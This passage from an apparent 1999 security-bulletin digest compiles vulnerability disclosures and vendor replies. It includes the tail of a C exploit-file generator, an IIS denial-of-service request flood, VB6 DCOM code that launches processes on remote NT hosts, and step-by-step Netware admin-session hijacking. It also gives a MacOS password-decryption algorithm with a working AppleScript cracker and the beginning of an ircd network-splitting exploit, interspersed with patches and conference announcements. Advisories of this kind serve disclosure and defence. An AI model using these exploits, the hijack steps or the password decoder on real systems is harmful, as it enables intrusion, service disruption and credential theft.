0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56, 
}; 


int main( int argc, char *argv[] ) { 

if( argc == 3 ) { 
   DWORD dwURLlen = strlen( argv[ 1 ] )+1; 
   if( dwURLlen < 40 ) { 
     HANDLE h = CreateFile( 
       argv[ 2 ], 
       GENERIC_WRITE, 
       0, 
       NULL, 
       CREATE_ALWAYS, 
       0, 
       0 ); 

     if ( h == INVALID_HANDLE_VALUE ) { 
       printf( "Error creating %s\n", argv[ 2 ] ); 
       return( 0 ); 
     } 

     DWORD dwWrit = 0; 
     if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) || 
      ( dwWrit != URL_OFFSET ) ) 
       goto writeerr; 

     for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 ) 
       *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use 
htons? 
     *PWORD( p ) ^= 0xdefa; 

     if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) || 
       ( dwWrit != dwURLlen ) ) 
       goto writeerr; 

     DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen ); 
     if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite, 
       &dwWrit, NULL ) || ( dwWrit != dwToWrite ) ) 
       goto writeerr; 

     CloseHandle( h ); 

     return( 0 ); 
   } 
} 

Usage(); 
return( 1 ); 

writeerr: 
printf( "Error writing to %s\n", argv[ 2 ] ); 
return( 2 ); 
} 

------------------------------------------------------------ 

P.S. Australian programmer with 19 years experience, C/++, 
Asm, Delphi, SQL, IP + more, looking for work overseas. 

Jeremy Kothe (jeremy@edi.com.au or paceflow@hotmail.com) 

P.P.S. When exposing these type of exploits, it is usual 
for the coder to launch into a tirade about Microsoft and 
what terrible software it writes to allow these... I feel 
that these people are missing the point, though. Microsoft 
has risen (very successfully) to the challenge of providing 
a couple of GENERAL PURPOSE, incredibly extensive operating 
systems for PC's. Anyone who prefers Linux for it's 
stability etc. should consider the cost (to the average 
end-user) of such stability. Microsoft have concentrated 
on the commercial requirements of the corporate Joe, and 
have written the software people (not jellyheads) need. Of 
course it would be wonderful if Windows was as solid as 
secure as a unix installation, but it is simply not the 
highest priority for the average PC user. 


_________________________________________________________________________________________________________
2.4-:telnet.exe heap overflow - remotely exploitable ; rponse(1/2)
_________________________________________________________________________________________________________

Windows'95 telnet.exe (74,720Kb) is too exploitable.

Valentin Perelgin

_________________________________________________________________________________________________________
2.4-:telnet.exe heap overflow - remotely exploitable ; rponse (2/2)
_________________________________________________________________________________________________________
  
  Hi All -

We've had an opportunity to investigate this issue, and want to advise that
a fix already is available.  The vulnerability is fixed in IE 5.0b, which
ships as part of Windows 98 Second Edition.  It also is eliminated by the
patch for the "Malformed Favorites Icon" vulnerability
(http://www.microsoft.com/security/bulletins/ms99-018.asp), which was
released in May.   The reason that the security bulletin did not discuss
this fix is because we discovered the unchecked buffer during a routine code
review, and corrected it as a code quality issue.

The vulnerability is present in IE 4.0 as well, and we are developing a
patch that we'll release shortly.  When the IE 4.0 patch is available, we'll
release a security bulletin that discusses the issue and where to get the
patch.  Regards,

Secure@microsoft.com

===========================================================
2.4-:telnet.exe heap overflow - remotely exploitable (End):
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
2.5-:IIS 4.0 remote DoS (MS99-029)(begin) :
===========================================

Hi,

I found a kind of DoS attack against IIS 4.0 on NT SP4 & SP5.
I reported it to MS and they've provided HotFix for this.

Problem Description
-------------------
Simple play. I sent lots of "Host:aaaaa...aa" to IIS like...

  GET / HTTP/1.1
  Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
  Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
  ...10,000 lines
  Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)

I sent twice above request sets. Then somehow victim IIS got
memory leak after these requests. Of course, it can not
respond any request any more.
If you try this, you should see memory increase through
performance monitor. You would see memory increase even after
those requests finished already. It will stop when you got
shortage of virtual memory.
After that, you might not be able to restart web service and
you would restart computer.
I tried this against Japanese and English version of Windows NT.

Fix Information
---------------
MS announced in their Security Bulletin as following :
http://www.microsoft.com/security/bulletins/MS99-029faq.asp

Additional information
----------------------
You'll realize someone release exploit code of this thing.
It's easy to make it by using perl or another scripts.

<Nobuo Miwa> n-miwa@lac.co.jp       ( @ @ ) http://www.lac.co.jp/security
-------------------------------o00o--(. .)--o00o-------------------------


_________________________________________________________________________________________________________
2.5-:IIS 4.0 remote DoS (MS99-029) ; rponse (1/1) :
_________________________________________________________________________________________________________
   

Microsoft has also removed this patch becaus it was not fully regression
tested when it was released and didn't work with some older software.

They are working on a new patch that will be fully regression tested.

Here is the patch removal notice from Microsoft.

http://www.microsoft.com/security/bulletins/ms99-029regression.asp

Chuck

=========================================
2.5-:IIS 4.0 remote DoS (MS99-029)(End) :
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
2.6-: FW: DCOM attack against NT using VB6 (begin) :
====================================================

forwarding the followup from NTBUGTRAQ..

-----Original Message-----
From: Rob Lempke [mailto:rlempke@ADNET2000.COM]
Sent: Monday, August 23, 1999 6:13 AM
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: DCOM attack against NT using VB6


Sorry for the late response, but I was on vacation from August 14 - 22. I
received about 75 e-mail on this post, so if you want to post this reply to
the mailing list that would be great. A Long Story short, the target (DCOM
or server) which must be running the DCOM object (exe, not dll's or ocx's),
must be Windows NT, sp3 or sp4 with the rpc service running and the no TCP
filters running. The client can be any win32 platform with DCOM installed.
(DCOM comes with NT/98 but not 95).
        The bug is that before service pack 5 (at least here) the Everyone
group has DEFAULT ACCESS and LAUNCH permissions.

        DCOM attack against NT using VB6 FAQ:
Q: Did you use a user that had permissions on target? Are you in the same
domain?

A: The target and I are on the same domain, both as Users (with default user
permissions, i.e. not ADMIN). I am an Everyone/Authenticated user from the
targets point of view. I can see his/her shares

Q: What were the Default DCOM permissions set to on the target?
Access:
        Interactive-Allow Access
        (This Machine)\Administrator-Allow Access
        System-Allow Access
        Everyone-Allow Access
Launch:
        Interactive-Allow Launch
        (This Machine)\Administrator- Allow Launch
        System-Allow Launch
        Everyone- Allow Launch
Configuration:
        Interactive
        (This Machine)\Administrator-full
        System-full
        Creator Owner -special
        Everyone-read
Q: What versions of VB and excel where used?
A: I am using VB6, a must to get the CreateObject with the system parameter.
It works with both word and excel ver 97 and 2000.

Q: What apps use the Default permissions?
A: Any that do not provide their own, which seems to be most. This includes
office.

Q: Can I do this with an ActiveX control?
A: NO, DCOM object are ActiveX exe 's.  this does not work with ActiveX
dll's components in MTS.

Q:Does this work with Service Pack 5?, Why not?
A: No, because the Everyone group is removed from the default Access(allow)
and Launch(allow) permissions groups in DCOMCNFG.

Q: Did you modify the access or launch permissions on the target? Where you
logged in to the target machine. Did you have an account on that machine?
A: No, No and No.
-----Original Message-----
From: Windows NT BugTraq Mailing List
[mailto:NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM]On Behalf Of Rob Lempke
Sent: Wednesday, August 11, 1999 3:27 PM
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: DCOM attack against NT using VB6


Using the code below I was able to create 20 instances of Excel on my
co-workers machines without modifying their machines at all.  The target
must be Windows NT Workstation/Server running sp3 or sp4. sp5 seems to
prevent the attack.

Private Sub Command1_Click()
    Dim xlObj As Object
    Dim xlCollection As New Collection
    Dim i As Long
    For i = 1 To 20
        Set xlObj = CreateObject("Excel.Application", "\\NTBox")
        xlCollection.Add xlObj
    Next i

    i = 1
    'clean up
    While xlCollection.Count > 0
        xlCollection.Remove (xlCollection.Count)
    Wend
    Set xlCollection = Nothing
End Sub

-Robert E. Lempke
--------------------------------------------
Steven Wright one Liners:
"Black holes are where God divided by zero."
"Quantum Mechanics:  The dreams stuff is made of."
"Early bird gets the worm, but the second mouse gets the cheese."
"If everything seems to be going well, you have obviously overlooked
something."
"Join the Army, meet interesting people, kill them."
"Success always occurs in private, and failure in full view."
"Ambition is a poor excuse for not having enough sense to be lazy."
"Hard work pays off in the future.  Laziness pays off now."
"Everyone has a photographic memory.  Some don't have film."
"Drink until she's cute, but stop before the wedding."
--------------------------------------------

==================================================
2.6-: FW: DCOM attack against NT using VB6 (End) :
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
2.7-: NT Predictable Initial TCP Sequence numbers - changes observed with SP4 (begin) :
=======================================================================================

As many people will be aware, the Microsoft TCP/IP stack for NT 4.0 up to and
including SP3 used a simple "one-per-millisecond" increment for the initial TCP
sequence number.  This was changed in SP4 to make the initial sequence number
generation less predictable.  However I've found that, while the initial
TCP sequence
number pattern has changed from SP3 to SP4, it's still quite predictable.

The key features of the new SP4 pattern are:

a) It uses small positive increments between 0 and 14 inclusive;
b) The increment appears to always be an even number: 0, 2, 4, 6, 8, 12, 10
or 14;
c) The increment does not appear to be time-related - the pattern is the
same whether
    the time difference between samples is 20ms or 1s.

An example of the observed behaviour is shown in the table below:

Sequence        Number
Difference      of occurrences
--------------  ---------------------
0               648
2               584
4               608
6               660
8               602
10              666
12              641
14              590

This data shows the distribution of differences between sequence numbers
from a total of 5,000 initial sequence number samples (i.e. 4,999 differences).
So for example, the difference between two consecutive initial TCP sequence
numbers was 10 in 666 out of 4999 sample pairs.

This data was gathered from a quiescent system on an Ethernet LAN.  However,
it is similar to data that I have obtained from Internet-connected systems
such as
IIS Web servers.

While this new initial TCP sequence number pattern is different from the
old pre-SP4
behaviour, it is still quite easy to predict:  the data above shows that
there are only
8 possible next-sequence numbers.  Bearing in mind that most TCP/IP stacks
simply
ignore incorrect sequence numbers, it's easy to bracket the expected range with
a number of packets.  Indeed, this new pattern may actually be easier to
predict than
the old behaviour over the Internet and other WANs because in this
environment, it's
probably easier to send a spread of 8 packets than to predict the packet
latency to
within 8 milliseconds over a long-haul connection.

The "correct" thing for a TCP/IP stack to do when generating initial TCP
sequence
numbers is to make them random as recommended in RFC1948.  I've found that
many operating systems including Linux 2.x and Solaris 2.6 (when tcp_strong_iss
is set to 2) already do this, although there are still lots of stacks out
there generating
predictable initial TCP sequence numbers.

Microsoft's description of the NT SP4 sequence number change is in knowledge
base article ID: Q192292 "Unpredictable TCP Sequence Numbers in SP4".

I first discovered this new predictable TCP sequence pattern while performing a
penetration test for one of our customers who had recently changed from SP3 to
SP4.  Microsoft have been informed of these findings and are currently
investigating
the situation.

I'll be putting more details up on the NTA Monitor Web site within the next day
or two, so for more information you can visit http://www.nta-monitor.com/

Roy Hills
NTA Monitor Ltd
--
Roy Hills                                    Tel:   +44 1634 721855
NTA Monitor Ltd                              FAX:   +44 1634 721844
6 Beaufort Court, Medway City Estate,        Email: Roy.Hills@nta-monitor.com
Rochester, Kent ME2 4FB, UK                  WWW:   http://www.nta-monitor.com/


_________________________________________________________________________________________________________
2.7-: NT Predictable Initial TCP Sequence numbers - changes observed with SP4 ; rponse (1/1)
_________________________________________________________________________________________________________

Microsoft have now confirmed the problem:
-----------------------------------------

From: Sunil Gopal
To: Roy Hills <Roy.Hills@nta-monitor.com>
Subject: RE: NT 4.0 SP4 predictable initial TCP sequence numbers
Date: Tue, 24 Aug 1999 04:20:56 -0700

Hi Roy,

Sorry about the silence...

Though the TCP sequence generation pattern changes made to TCPIP.SYS for SP4
are an improvement, I have been informed that this has been resolved in
Windows 2000 and will be "back ported" to NT 4.0 in a future SP release. The
issue remains open and is being worked on....

We are trying to get escalate this further and get it into the HOTFIX
schedule and hope to make it available to xxx ASAP.

Hope this helps...

Thanks and Regards,

Sunil Gopal, MCSE
Technical Specialist/Systems Engineer
mailto:sunilg@microsoft.com

"Enable people to do anything they want, anytime they want, anywhere they
want, on any device."

=====================================================================================
2.7-: NT Predictable Initial TCP Sequence numbers - changes observed with SP4 (End) :
_________________________________________________________________________________________________________












~~~~~~~~
Novell :
~~~~~~~~



_________________________________________________________________________________________________________
3.1-: NMRC Advisory: Netware 5 Client Hijacking (begin):
========================================================

_______________________________________________________________________________

                          Nomad Mobile Research Centre
                                 A D V I S O R Y
                                  www.nmrc.org
                          Jitsu-Disk  [jitsu@nmrc.org]
                        Simple Nomad [thegnome@nmrc.org]
                                    15Jul1999
_______________________________________________________________________________

                              Platform : Novell Netware
                           Application : NDS/NCP
                              Severity : High


Synopsis
--------

Armed with the MAC address of the Administrator, an intruder can hijack an
Admin's session and issue NCP calls as the the Admin on Netware servers.

Tested configuration
--------------------

The bug was tested with the following configuration :

Novell Netware 5, Service Pack 2 (with IPX configured)
Latest Client Software for Windows 95/98

Also confirmed on Netware 4.x.

Bug(s) report
-------------

This is an old bug. We reported it to Novell over a year ago, and even released
exploit code (see http://www.nmrc.org/pandora/). Since several people had
problems using the exploit code and Novell still hasn't corrected (to our
satisfaction) all of the problems with Netware 5, we've updated the exploit
code in the new Pandora v4, which is now in beta release. While Netware/IP is
the recommended path for Netware 5, most organizations using Netware are still
using Novell's proprietary IPX protocol for server access. IPX is required for
this exploit to work.

In essence, IPX fragmented requests/replies (NCP call 0x68) are not signed if
the packet signature level is not set to 3. Setting it to 3 on the server side
is good, but if the client is set at 1, it is possible to spoof or hijack a
portion of the client's session. If the target client is the Admin, we can tell
the server to make us security equivalent to the Admin. Please refer to the
details at http://www.nmrc.org/pandora/ncp.txt, especially sections 6 and
7, which detail how the attack works.

The new Pandora Online utility will simply require you insert the MAC address
of the Admin's workstation into a dialog box, and Pandora will handle the rest
of the sniffing required to make the attack work. As always, placement of your
attack box is critical:

----------    ----------    ----------   -------------
| Admin  |    | Attack |    | Router |   | Netware 5 |
| Client |    |  Box   |    |        |   |   Server  |
----------    ----------    ----------   -------------
    |             |           |    |           |
    ---------------------------    -------------

So here are the steps:

0. Admin client is Packet Signature Level 1, and server is Packet Signature
Level 3.
1. Attack box gets Admin's MAC address, and inserts it into the Pandora
Online tool. Attacker has the option to adjust other parameters as needed, but
the main one is the MAC address.
2. Admin performs actions dealing with NDS that use fragmented packets (normal
administrator activity will give us the needed packets quickly).
3. Attack box sends forged request to server, making us security equivalent to
Admin.
4. Netware 5 server accepts forged packets.
5. Admin client loses connection from server as its packet sequence is now out
of whack.
6. Attacker adjusts security settings for self so that the attacker has full
access to entire tree, and removes "equal to Admin", so s/he will not show up
on a basic "who's equiv to me" investigation by Admin.

Caveats:

0. This attack will fail in a switched environment since sniffing is involved.
1. This is a race. If the Admin client beats the attacker, the attacker must try
again.
2. Obviously the attacker being on the same Ethernet segment as the Admin will
help considerably in an attack. In theory this should work if you are anywhere
in between the Admin client and the server, although you will need to use the
MAC address of the router interface the Admin's session is coming from. At best,
this may not work at all, but is still theoretically possible.
3. In theory this could be adapted to a Netware/IP environment, as Novell's
TCP/IP stack is vulnerable to sequence number prediction. We have not explored
adapting Pandora exploit code over to a pure IP environment, but will explore
this possibility in future Pandora releases.

Solution/Workaround
-------------------

Use Packet Signature Level 3 everywhere, and make sure clients cannot touch
their own signature settings. LAN Admins should never access a server unless
using Level 3, and the security on the workstation should be restrictive enough
to prevent unauthorized adjustments (i.e. use a locked-down NT client with no
server services running, behind a locked door, although this simply places your
trust in Microsoft). Use switched Ethernet.

Alternately, you can ask Novell to patch things. We did our part a year ago.

Comments
--------

Simple Nomad had to leave Las Vegas right after Black Hat due to a minor
medical emergency at home, and missed DefCon. This advisory was one of the
things slated to be discussed during the DefCon presentation.

As stated, Novell was contacted regarding this bug in June of 1998, 13 months
ago. We got this to work in a lab setting. YMMV.

The new Pandora v4 includes all of the Pandora v3 attacks against Netware 4
updated to work against Netware 5. It was developed with 100% freeware libraries
and compilers. We are proud that this code doesn't look like a normal 95/98/NT,
the GUI was developed on Linux. Pandora v4 is 100% freeware. Source code is
freely available.

We always recommend using the latest versions of Netware with the latest
patches, and using the maximum security settings at all times on Netware
servers.

======================================================
3.1-: NMRC Advisory: Netware 5 Client Hijacking (End):
_________________________________________________________________________________________________________










~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Others (IRC, MacOS, Confrences, etc) :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



_________________________________________________________________________________________________________
4.1-:MacOS system encryption algorithm (begin):
===============================================

The encryption algorithm in MacOS system is simple and the password can be
easily decoded.

Password is stored in Users & Groups Data File in Preferences folder. Offset
is different on each system and depends on Users & Groups configuration, but
it always lie after owner's username. It's not so difficult to find it using
hex editor, even if we don't know owner's username.

Here are some examples of encrypted passwords:
00 04 06 18 0D 0A 19 0B = stayaway
0A 1F 10 1B 00 07 75 1E = yellow
1C 1B 16 14 12 62 10 7B = owner
07 02 13 1A 1E 0F 1A 14 = turnpage
27 25 33 27 27 39 24 7E = Trustno1

AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh

where:
AA BB CC DD EE FF GG HH - encrypted password (hex)
aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)

aa=AA XOR 73H
bb=BB XOR AA XOR 70H
cc=CC XOR BB XOR 63H
dd=DD XOR CC XOR 67H
ee=EE XOR DD XOR 74H
ff=FF XOR EE XOR 70H
gg=GG XOR FF XOR 72H
hh=HH XOR GG XOR 6BH

An example:
Let's take OO 04 06 18 0D 0A 19 0B

00H XOR 73H = 73H = s
04H XOR 00H = 04H; 04H XOR 70H = 74H = t
06H XOR 04H = 02H; O2H XOR 63H = 61H = a
18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y
0DH XOR 18H = 15H; 15H XOR 74H = 61H = a
0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w
19H XOR 0AH = 13H; 13H XOR 72H = 61H = a
0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y

tested on:
MacOS 7.5.3, 7.5.5, 8.1, 8.5

I wrote an apple script to break passwords

--------CUT HERE--------
(*          MacOS Pass 2.1 by adix      15.06.99; Apple Script English    *)
global lbin, bit1, bit2, bitk
set hex1 to text returned of (display dialog "Enter encrypted password
(hex): " default answer "" buttons {" Ok "} default button " Ok " with icon
stop)
set Alicia to
"0111001101110000011000110110011101110100011100000111001001101011"
set pass to ""
set lbin to ""
set razem to ""
set i to 1
set skok to 0
set ile to count items in hex1
if ile = 0 or ile = 1 then
 set pass to ""
else
 repeat until (i > (ile - 1))
  set kodascii to 0
  set razem to ""
  set zn to items (i) thru (i + 1) in hex1
  set lbin to hex2bin(zn)
  repeat with a from 1 to 8
   set bit1 to item (a + skok) of Alicia
   xor(a)
   set razem to {razem & bitk} as string
   if i < 2 then
    set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
   end if
  end repeat
  if i < 2 then
   set pass to {pass & (ASCII character kodascii)}
  else
   set zn to items (i - 2) thru (i - 1) in hex1
   set lbin to hex2bin(zn)
   repeat with a from 1 to 8
    set bit1 to item a of razem
    xor(a)
    set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
   end repeat
   set pass to {pass & (ASCII character kodascii)}
  end if
  set skok to skok + 8
  set i to i + 2
 end repeat
end if
display dialog "Password:   " & pass & return & return & "by adix" buttons
{" Ok "} default button " Ok " with icon note
on hex2bin(zn)
 set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110",
"0111", "1000", "1001", "1010", "1011", "1100", -
  "1101", "1110", "1111"}
 set t2hex to "0123456789ABCDEF"
 set bin to ""
 repeat with j in zn
  set t1 to j as string
  repeat with i from 1 to (count items in t2hex)
   if ((item i in t2hex) = t1) then
    set temp to (item i in temphex)
    exit repeat
   end if
  end repeat
  set bin to {bin & temp} as string
 end repeat
 return (bin)
end hex2bin
on xor(a)
 set bit2 to item a in lbin
 if bit1 = bit2 then
  set bitk to "0"
 else
  set bitk to "1"
 end if
end xor
--------CUT HERE--------

Dawid adix Adamski
adixx@friko4.onet.pl

============================================= 
4.1-:MacOS system encryption algorithm (End):
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
4.2-:Sane 2000 (confrence)(begin) :
====================================


                     Announcement and Call for Papers

           ____    _    _   _ _____      ____   ___   ___   ___
          / ___|  / \  | \ | | ____|    |___ \ / _ \ / _ \ / _ \
          \___ \ / _ \ |  \| |  _|        __) | | | | | | | | | |
           ___) / ___ \| |\  | |___      / __/| |_| | |_| | |_| |
          |____/_/   \_\_| \_|_____|    |_____|\___/ \___/ \___/


                     2nd International SANE Conference

                              May 22-25, 2000

                        Maastricht, The Netherlands

 A conference organized by the NLUUG, the UNIX User Group - The Netherlands
   co-sponsored by USENIX, the Advanced Computing Systems Association, and
                               Stichting NLnet



OVERVIEW

Technology is advancing, the systems administration profession is changing
rapidly, and you have to master new skills to keep apace. At the second
International SANE (System Administration and Networking) conference you'll
find a wealth of opportunities to meet other system administrators and
network (security) professionals with similar interests, while attending a
program that brings you the latest in tools, techniques, security and
networking. You can learn from tutorials, refereed papers, invited talks,
work-in-progress (WIP) and Birds-of-a-Feather (BoF) sessions. Visit the
Vendor Exhibition for the hottest products and the latest books available.
The official language at the conference will be English. The conference will
be located at the Maastricht Exposition and Conference Center, MECC.


TUTORIAL PROGRAM

On Monday May 22 and Tuesday May 23, a large selection of practical,
problem-solving, in-depth tutorials will be presented to you by the most
authoritative, popular and widely acclaimed speakers.


TECHNICAL CONFERENCE

Following the tutorial days, Wednesday May 24 and Thursday May 25 will offer
comprehensive technical sessions, including keynote address, presentations
of refereed papers, invited talks and BoFs.
The social event and the enjoyable inSANE Quiz will help you getting to know
other professionals in your field.


CONFERENCE TOPICS

Presentations are being solicited in areas including but not limited to:

   * Security tools and techniques: Network Intrusion Detection Systems,
     Firewalls, VPNs, practical cryptography and auditing
   * Web security fundamentals and practical web site maintenance
   * Network monitoring and traffic shaping solutions
   * System and network performance tuning
   * Managing enterprise-wide e-mail and fighting junkmail (sometimes
     mistakenly referred to as 'spam')
   * Experiences with Open Source software (including operating systems) in
     a professional environment
   * Innovative system administration tools & techniques
   * Distributed or automated system administration
   * Adventures in nomadic and wireless computing
   * Intranet development, support, and maintenance
   * Integrating new networking technologies
   * Integration of heterogeneous platforms
   * Support strategies in use at your site
   * Effective training techniques for system administration and users


REFEREED PAPER SUBMISSIONS

An extended abstract is required for the paper selection process: details on
how to submit an abstract will be published at the web site listed below.
Abstracts accompanied by non-disclosure agreement forms are not acceptable
and will be returned unread.

Authors of accepted submissions must provide a final paper for publication
in the conference proceedings. These final papers are held in the highest
confidence prior to publication in the conference proceedings. By agreeing
to present your paper at SANE 2000, you also give license to the SANE 2000
conference organizers that it may be published in the members-only area on
the NLUUG web site and/or in the conference CD-ROM.


WORK-IN-PROGRESS (WIP)

The conference facilitates Work-In-Progress (WIP) sessions in parallel to
the main conference tracks. WIPs are informal, 20-minute talks that give you
the opportunity to share your current unfinished work with others in the
field. So, if you have a topic of interest that is not very well suited for
a refereed paper submission, please submit a proposal for a WIP session to
the WIP Coordinator at the address: <sane2000-wip@nluug.nl>


BoFs

Birds-of-a-Feather (BoF) sessions are highly interactive, informal
gatherings of attendees interested in a particular topic. BoFs enable
attendees to discuss topics of mutual interest and to build professional
relationships with other people who share similar interests. A BoF that is
already being planned is a PGP key-signing BoF (or party).
If you want to schedule a BoF prior to the conference, please contact the
BoF coordinator at the address: <sane2000-bofs@nluug.nl>


IMPORTANT DATES

 Extended abstracts due:    November 1, 1999
 Notification to speakers: November 12, 1999
 Final papers due:            March 24, 2000


CONFERENCE ORGANIZERS

Program co-chairs <sane2000-chair@nluug.nl>
  Bob Eskes, Applied System's Research, Hollandse Signaalapparaten, Hengelo
  Edwin Kremer, Department of Computer Science, Utrecht University
Tutorial Coordinator <sane2000-tut@nluug.nl>
  Jos Alsters, C&CZ, KU Nijmegen
Program Committee
  Jaap Akkerhuis, SIDNL, Arnhem
  Michel Anders, Tunix, Nijmegen
  Walter Belgers, Origin, Eindhoven
  Fred Donck, Shell Services International, Rijswijk
  Peter Honeyman, USENIX
  Brad Knowles, Belgacom Skynet SA/NV, Brussels
Event Organization <sane2000-org@nluug.nl>
  Marielle Klatten, NLUUG
  Monique Rours, NLUUG
  Wytze van der Raay, NLnet Foundation



     Complete program and registration information will be available in
   December 1999. For the latest information about the conference, please
     visit the SANE 2000 web site: http://www.nluug.nl/events/sane2000/

    For questions not being answered at this web site, please contact the
                                NLUUG office
                     by e-mail: sane2000-info@nluug.nl

  ------------------------------------------------------------------------


Best regards,

Fred Donck
Program Committee member

--
                                        e-mail: fred@donck.com
Fred Donck                               whois: fd435


==================================
4.2-:Sane 2000 (confrence)(End) :
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
4.3-:ToorCon (confrence) (begin):
==================================

ToorCon - San Diego, California's ONLY Comprehensive Computer Security
Conference

WHEN

September 3rd-4th, 1999
Each day starts at 10am and ends at 6pm

WHERE

The Price Center in the University of California, San Diego:
9500 Gilman Drive
La Jolla, CA 92093

WHO

ToorCon is sponsored by the San Diego 2600 Meeting (sd2600.net) and
Nightfall Security Group (nfsg.org).

WHY

The purpose of ToorCon is to bring a comprehensive, interactive and
enjoyable conference to the western United States that will help make
the public aware of the importance of computer security and how to make
their networks more secure. We will try to cover more general issues
such as hackers and crackers and how the media uses it's role in the
computer world but we are going to focus toward specific issues of
computer security such as IDS, firewalling, buffer overflows, etc.

PRICE

ToorCon is $35 at the door for both days. If you live in the San Diego
area, or wish to pay in advance for large companies please contact me at
skalore@sd2600.net and we can arrange to pay in advance for $25 per
person.

REFERENCES

ToorCon Website is http://toor.sd2600.net
San Diego 2600 Meeting Website is http://www.sd2600.net
Nightfall Security Group is http://www.nfsg.org

Thank You,

From the Staff of ToorCon

================================
4.3-:ToorCon (confrence) (End):
________________________________________________________________________________________________________




________________________________________________________________________________________________________
4.4-:ircd exploit in ircu based code (begin):
=============================================

Most irc networks using ircu based servers have a bug that can cause users
to segfault the server.

In m_join, the code doesn't check to see if get_channel returned failure (by
returning NULL).


While the line numbers will probably be off, this patch will work in most
ircu based servers.

--- ircd/channel.c      Tue Jul 13 19:58:46 1999
+++ ircd/channel.c      Tue Jul 13 20:05:31 1999
@@ -2004,6 +2004,12 @@

          chptr = get_channel (sptr, name, !CREATE);    /* need the TS -Kev */

+         if (!chptr) {
+               sendto_one (sptr, err_str (ERR_NOSUCHCHANNEL),
+                           me.name, parv[0], name);
+               return(0);
+         }
+
          sendto_serv_butone (cptr, ":%s MODE %s +%s%s %lu", me.name, name,
                              sendmode ? "o " : "", sendmode ? parv[0] : "",
                              chptr->creationtime);     /* send the MODE to the


Kevin Day
DragonData
ToastyMan on irc.dragondata.com (on NewNet)
_________________________________________________________________________________________________________
4.4-:ircd exploit in ircu based code ; rponse (1/1) :
_________________________________________________________________________________________________________


>From: Kevin Day <toasty@DRAGONDATA.COM>
>To: BUGTRAQ@SECURITYFOCUS.COM
>Subject: ircd exploit in ircu based code
>
>Most irc networks using ircu based servers have a bug that can cause users
>to segfault the server.
>
>In m_join, the code doesn't check to see if get_channel returned failure (by
>returning NULL).

As of now I can't even find this bug in the oldest versions of our code,
for sure isn't there in u2.10.06, I still have to check on the previous
2.10.05 that is still packaged in some Linux/BSD distributions.

Would you please let me know in what version of the Undernet's code you
found it and, in case there is still a way to core the current servers
report the way to exploit it on bugs@undernet.org ?

We would appreciate a lot if any bug that can cause a server coredump
is reported on bugs@undernet.org with a few days of advantage respect
to the other public lists... so we can fix it on te fly (we happen to
have a living network with 38k users on it...).

Thanks a lot,

Andrea aka Nemesi,

Undernet's coder committee.

===========================================
4.4-:ircd exploit in ircu based code (End):
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
4.5-:IRC: Exploit for a Bug in ircd2.10.x (qident) (begin):
===========================================================

I dont think that has been posted before.
There is a bug in ircd 2.10.x used in ircnet in conjunction with
qident.

DESCRIPTION
-----------

qident does not check sucessfully for spaces and characters
as like *, ! and @.

When using an ident as like "@o ! ! !", o would be treated as
host, the parameters which are left, would be enhanced by the number of
spaces provided by the ident.

If this ident is accepted, the connected client will become
a ghost. This ghost is not successfully transmitted to the
ircnetwork, thereful only visible on the server it connects.

That would not be problematic, but the real problems occur, when
the bogus idented client joins a channel. The join is not being
rejected by the network and transfers the bogus ident with the
parameters. Then, a "protocol error" occurs, the server is forced
to split from the rest of the network.

More problematic gets the fact, when the bogus client gets collided.
This can lead to a denial of service crashing the ircd completely.

FIXES
-----

The opers had been informed quite a time ago, there are only some servers
left which react on that bogus ident.

EXPLOIT
-------

Attached you will find a simple exploit, which starts an irc client
with a spoofed ident. There should not run in.identd, while the
exploit is used. Also, you have to be root (used for the bind). And it's
written for linux.

GREETINGS
---------
especially to suffkopp and his friend newroot. those lamers forced me to
make it public.


so far,

psychoid

www.psychoid.lam3rz.de

--
Sent through Global Message Exchange - http://www.gmx.net

     Attachment: doomzday4.c (10k) -- Download without Scan -- Scan with McAfee


/* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit
 * for linux - written by psychoid from tcl
 *
 * general vulnerability found by Hippo
 * a fix already is available, but there are
 * also incomplete fixes out there.
 *
 * this splits a server from the network. Simple, isnt it ?
 *
 * if you really want to run this, there should not run
 * an in.identd on your machine. Also, you need to be root.
 *
 * erm, this is for educational purposes only. Even, if noone gets
 * hurt *g*.
 */ 

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <signal.h>
#include <string.h>
